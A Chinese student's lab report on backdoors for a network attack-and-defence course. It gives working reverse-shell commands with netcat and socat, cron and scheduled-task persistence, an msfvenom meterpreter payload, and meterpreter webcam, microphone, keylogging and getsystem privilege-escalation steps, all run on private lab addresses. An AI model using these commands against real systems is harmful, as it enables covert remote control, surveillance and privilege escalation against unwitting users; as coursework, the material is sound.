20155321 《网络攻防》 Exp2 后门原理与实践
实验内容
-
例举你能想到的一个后门进入到你系统中的可能方式?
-
我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站本身可能被黑客植入了木马程序,这些程序可能会随着人们下载到本地而有机会进入到系统中。
-
例举你知道的后门如何启动起来(win及linux)的方式?
-
我所知道的是可能是黑客通过远程控制的办法是输入命令使后门程序启动起来。
-
Meterpreter有哪些给你映像深刻的功能?
-
让我印象比较深刻的是可以通过后门控制摄像头、提权这种功能,感觉很6.
-
如何发现自己有系统有没有被安装后门?
-
我觉得可以在任务管理器处查看当前计算机运行的进程,查看是否有后门。
课堂实践内容
-
Win获得Linux Shell
- 在Windows下,先使用ipconfig指令查看本机IP
- 使用ncat.exe程序监听本机的5321端口
- 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5321端口
- Windows下成功获得了一个Kali的shell,运行ls指令如下
- 在Windows下,先使用ipconfig指令查看本机IP
-
Linux获得Windows Shell
- 在Kali环境下用ifconfig查看IP
- 使用nc指令监听5321端口
- 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5321端口
- Kali下可以看到Windows的命令提示,可以输入Windows命令
- 在Kali环境下用ifconfig查看IP
-
使用nc传输数据
- Windows下监听5321端口
- Kali下连接到Windows的5321端口
- 建立连接之后,就可以进行数据传输
- Windows下监听5321端口
使用netcat获取主机操作Shell,cron启动
-
在Windows系统下,监听5321端口
-
在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行
-
用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器
-
在最后一行添加55 * * * * /bin/netcat 192.168.1.227 5321 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的5321端口
-
当时间到了55分时已经获得了Kali的shell,可输入指令:
使用socat获取主机操作Shell, 任务计划启动
- 预备知识
- socat是ncat的增强版,它使用的格式是socat [options] ,其中两个address是必选项,而options 是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 实践过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器
- 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令socat - tcp:192.168.1.227:5321,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5321端口,此时可以发现已经成功获得了一个cmd shell
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
由于主机本身带有许多检测软件,因此这个实验我使用的是window虚拟机,其IP地址是
192.168.1.246
-
输入指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=5321 -f exe > 20155321_backdoor.exe
-
通过nc指令将生成的后门程序传送到Windows主机上
-
在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口
-
设置完成后,执行监听
-
打开Windows上的后门程序
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频:
- 使用
webcam_snap
指令可以使用摄像头进行拍照
-
使用screenshot指令可以进行截屏
-
使用webcam stream指令可以使用摄像头进行录像
-
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
-
使用getuid指令查看当前用户,使用getsystem指令进行提权
实验时遇到的问题
- 在实验时我的Win7虚拟机一开始没有办法使用摄像头,在任务管理器页面的其他设备中出现
- 解决办法是通过查看摄像头的属性,发现是驱动程序没有安装好,因此要更新好驱动程序即可
实验总结与体会
- 我觉得通过此次实验,让我对后门程序有了进一步的认识,感觉后门不像一开始想象的这么神秘,此外,通过后门还可以调用到摄像头、提权等功能感觉还是非常6的。